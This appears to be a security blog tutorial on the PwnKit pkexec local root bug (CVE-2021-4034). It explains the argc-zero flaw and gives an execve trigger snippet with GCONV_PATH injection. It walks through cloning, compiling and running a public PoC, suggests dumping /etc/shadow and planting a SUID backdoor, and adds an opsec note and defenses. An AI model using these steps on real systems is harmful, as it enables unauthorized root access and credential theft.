Polkit and pkexec (CVE-2021-4034) Local Root

Polkit and pkexec (CVE-2021-4034) Local Root - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

PwnKit, tracked as CVE-2021-4034, is a local privilege-escalation vulnerability in pkexec, the SUID-root helper shipped by Polkit (formerly PolicyKit) on virtually every mainstream Linux distribution. Polkit is the framework that lets unprivileged processes request authorization to perform privileged actions (mounting disks, managing systemd units, etc.), and pkexec is its CLI front-end — install it, run pkexec <command>, and (subject to policy) the command runs as root. The bug lived in pkexec‘s argument-count handling and had been present, unnoticed, in the codebase since the very first commit of the utility in 2009, making it roughly twelve years old by the time Qualys disclosed it in January 2022.

The impact is about as bad as local privilege escalation gets: any local, unprivileged user on an affected system can obtain a root shell with a single self-contained exploit, no valid credentials, no dependency on a specific kernel version, and no interaction with any other user or process. Because pkexec is installed by default on Ubuntu, Debian, Fedora, CentOS, RHEL, openSUSE, and most other distributions that use Polkit, PwnKit is one of the highest-yield “any shell to root” bugs ever found on Linux, and it remains a staple of CTFs, OSCP-style boxes, and real-world post-exploitation checklists years after being patched.

Attack Prerequisites

PwnKit requires very little from an attacker — that is precisely why it is so dangerous:

  • Local code execution as any unprivileged user — a shell, even a low-value web-shell or a foothold from an unrelated bug, is enough.
  • A vulnerable, unpatched pkexec binarypolkit older than the fixed release (0.105-31, 0.120-2, or the equivalent 2022 point-release for the distro in question) with the SUID bit still set on /usr/bin/pkexec.
  • No special group membership or sudo rules needed — unlike most sudo/SUID abuse, PwnKit does not depend on a misconfigured sudoers entry or an allow-listed command; the binary is exploitable purely through its own logic.
  • A C compiler or a pre-built exploit binary on the target, or the ability to transfer one — the public PoC is a small self-contained C program.

How It Works

pkexec is installed setuid-root so that when it starts it is already running with an effective UID of 0. Like any C program, its main() receives argc and argv from the kernel, and it uses argv[0] to look up the name it was invoked as. The vulnerable code path is reached when the process is executed with an empty argument vectorargv[0] is NULL — which is legal at the execve(2) syscall level even though the C runtime and most tools never produce it. When pkexec finds argc is 0, its logic for locating the path of the command to run walks off the end of argv and reads into the process’s environment block, which sits directly after argv in memory. It then treats what it finds there as if it were a valid program name and, on the error/fallback path, calls a function that reconstructs and writes to envp using attacker-influenced offsets — effectively giving the caller out-of-bounds writes into pkexec‘s own environment while it is still running as root.

The exploit primitive that falls out of this is environment-variable injection into a root process. The canonical PwnKit PoC abuses this to inject a GCONV_PATH environment variable pointing at an attacker-controlled shared object, then triggers pkexec to call a glibc function (via the internationalization/gconv machinery) that causes the dynamic loader to load that attacker-supplied .so — as root, inside the SUID process. The .so‘s constructor sets SUID/SGID back to 0 explicitly, sets a controlled PATH, and execves /bin/sh, so the payload ends up as a fully privileged interactive shell. It requires no crafted input file, no network exposure, and no race condition — it is a deterministic, single-shot local exploit that works identically across distributions.

Vulnerable Code / Configuration

The root cause is in pkexec‘s main(), which assumes argc will never be zero and unconditionally decrements before indexing, and in the argument/environment-lookup helper that falls back to scanning envp when the expected argument is missing. A simplified reconstruction of the flawed logic looks like this:

int main(int argc, char *argv[], char *envp[])
{
    ...
    // argc is attacker-controlled via execve(path, NULL, envp)
    // No check that argc > 0 before using argv[1] / advancing pointers.
    if (argc < 1) {
        // falls through instead of bailing out
    }
    ...
    path = g_find_program_in_path (argv[1]);   // argv[1] reads past argv[0]
    if (!path) {
        // error path calls a printf-style function on attacker-influenced
        // data that ends up touching envp[] with out-of-bounds offsets,
        // letting the caller INJECT new environment variables into a
        // process that is already running as euid 0.
        errx (127, ...);
    }
C

The actual trigger is the invocation, not a config file: execve() is called directly with a NULL argument vector, which every standard shell and libc wrapper refuses to construct, but which the raw syscall happily accepts:

// Exploit trigger: call execve() directly with argv == NULL.
// argc becomes 0 inside pkexec's main(), which the code never expected.
char *args[] = { NULL };
char *env[]  = { "GCONV_PATH=pwnkit.so", "CHARSET=malicious", NULL };
execve("/usr/bin/pkexec", args, env);
C

The “configuration” bug here is really a missing input-validation invariant: pkexec is installed SUID-root by default on every Polkit-using distro (ls -l /usr/bin/pkexec shows -rwsr-xr-x root root), and the binary trusted that argc >= 1 would always hold. Any process on the system can violate that assumption directly via execve(2), without needing a shell that would normally guarantee a non-empty argv.

Walkthrough / Exploitation

Confirm the target is exploitable before running anything — check that pkexec exists, is SUID-root, and that the installed Polkit version predates the fix:

ls -l /usr/bin/pkexec
# -rwsr-xr-x 1 root root ...   <- SUID bit set, owned by root

pkexec --version
dpkg -l | grep policykit-1        # Debian/Ubuntu
rpm -q polkit                     # RHEL/Fedora/CentOS
Bash

Fetch or write the well-known PwnKit PoC (multiple public implementations exist, e.g. arthepsy/CVE-2021-4034, berdav/CVE-2021-4034). Compile it locally on the target with the toolchain already present, or cross-compile and transfer the static binary:

git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc -o pwnkit cve-2021-4034-poc.c
Bash

Run the compiled exploit as the low-privileged user. On a vulnerable system this drops directly into a root shell — no password, no sudo rule, no waiting:

id
# uid=1000(user) gid=1000(user) groups=1000(user)

./pwnkit
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root
Bash

From here, standard post-exploitation applies: dump /etc/shadow, add a persistent SUID backdoor, or pivot to reading SSH host keys and other secrets the low-privileged user could never touch.

Note: PwnKit affects the pkexec binary regardless of desktop environment — it is present on headless servers too, since Polkit is a dependency of systemd-adjacent tooling, not just GNOME/KDE. Container images built from vulnerable base layers can also carry the bug if the container runs as an unprivileged user with a SUID pkexec still present.

Opsec: The exploit is a single execve() call producing an interactive root shell spawned directly from an unprivileged parent — a strong anomaly if EDR baselines normal pkexec usage (invoked with a real command, from a terminal, via a Polkit agent prompt). Expect this to be noisier on an EDR-monitored host than a quiet sudo misconfiguration abuse.

Detection and Defense

PwnKit is fixed upstream, so the primary defense is patching, with SUID-bit removal as an interim mitigation where patching is delayed:

  • Patch Polkit to the fixed version for your distribution (polkit >= 0.105-31 / 0.119+ depending on branch); this closes the bug at the source.
  • Interim mitigation: remove the SUID bit from pkexec (chmod 0755 /usr/bin/pkexec) on systems that cannot be patched immediately — this breaks legitimate pkexec use but eliminates the privilege-escalation path.
  • Inventory SUID binaries on all hosts (find / -perm -4000 -type f 2>/dev/null) and track CVEs against each one.
  • Monitor process execution for pkexec spawning a shell with no preceding authentication prompt, or pkexec with an empty/anomalous argv[0] in EDR telemetry — most public PoCs leave this fingerprint.

Real-World Impact

CVE-2021-4034 was disclosed by the Qualys Research Team in January 2022 and assigned a CVSS score of 7.8, with real-world exploitation following within days of public PoCs landing — it was rapidly folded into post-exploitation toolkits and OSCP-adjacent training because a working exploit could be compiled and run in seconds on almost any unpatched distro. Because the vulnerable code had shipped since pkexec‘s initial 2009 commit, essentially every Linux distribution using Polkit was affected at disclosure time, making it one of the broadest-reaching local root bugs in recent memory alongside Dirty COW and Dirty Pipe.

Conclusion

PwnKit is a textbook example of how a single unchecked assumption — that argc is never zero — in a widely trusted SUID binary can sit unnoticed for over a decade and then grant instant root to any local user once found. The fix is simple and universally available, so the practical failure mode today is inventory and patch latency, not any remaining mystery about the bug: keep Polkit current, track SUID binaries as a first-class attack surface, and treat any unpatched pkexec on an assessment as an immediate, trivial path to root.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL